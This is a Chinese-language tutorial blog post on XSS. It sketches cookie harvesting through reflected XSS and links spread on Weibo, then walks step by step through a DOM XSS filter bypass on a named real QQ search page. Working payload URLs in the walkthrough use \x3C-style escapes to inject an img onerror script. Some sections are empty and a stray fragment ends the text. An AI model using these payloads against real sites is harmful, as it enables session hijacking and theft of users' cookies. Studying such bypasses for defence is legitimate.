DOM XSS启程

之前提到的漏洞内容,都是反射型XSS,攻击性一般来说比较低,即用即消,难以持久,而且一般来说,如果cookie 设置成httponly,你就不能通过document.cookie 的方式获取cookie了,在做其他一些事情,反射型xss就显得乏力了。不过,如果没有设置成httponly,还是有方法获取到海量的用户cookie,简单的利用方法就是在一个自己可控的站点,控制一个iframe,然后链接到主站可xss利用的站点,在URL 里写好脚本,做好接受,就能源源不断的接受来自用户的信息了。

比如说新浪微博或者是腾讯微博存在XSS反射漏洞,我们在自己的站点中写好利用的iframe,然后在自己的微博上写一个吸引人的标题,然后附一个经过短链接转义过得链接。如果别人点进去,就会自动触发我们的XSS 脚本。以前Twitter 上也有这样的漏洞,短时间让黑客的粉丝暴涨百万,实际上只是自动执行了关注黑客的脚本。

下面我们进入下一个XSS类型,DOM XSS。所谓DOM 操作,就是利用JavaScript 的DOM 操作来进行利用。关于DOM树,DOM操作的基础,可以参见wikipedia ,可以查看更多信息。

DOM 常见的方法有:

下面我们回到XSS 上,如何利用一个显式的DOM XSS。

这样一个URL:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

我们在代码中寻找其输出:

发现了很多个,将其代码格式化之后如下,我们会实际上,被执行的只有一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<strong id="titleshow">按职业1检索:aaaaaaa </strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地区检索:全部明星";
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业2")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业3")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
</script>

我们先测试几个特殊字符,发现尖括号被过滤了,但是\ 没有被过滤,而这里又是JS 代码,我们可以十三月Unicode 编码来代替尖括号,仍然可以实现代码利用。\u003c \003e 分别代表尖括号,\0020 代表空格。 而这里其实有一个比较关键的知识点,为什么有时候转义可以,有时候转义不行,编码解码的顺序到底是怎样的,具体可以看下一条文章。

所以,我们构造的完整URL 如下:

1
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

但是,左右尖括号的Unicode表示已经被过滤:

但仔细观察一下,我们发现,\u0020 都没有被转义,说明开发者的转义是非常局限的,指哪打哪,很有可能有别的方法可以利用。而Unicode 编码也有多种书写方式,比如 \x3c \x3e 就可以代表左右尖括号。那么我们值得一试:

1
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml

令人惊奇的是竟然没有转义:

这样,弹窗就是必然的了。

这是一次简单的DOM XSS 过程,后边会有更加复杂的XSS等待挖掘。

script>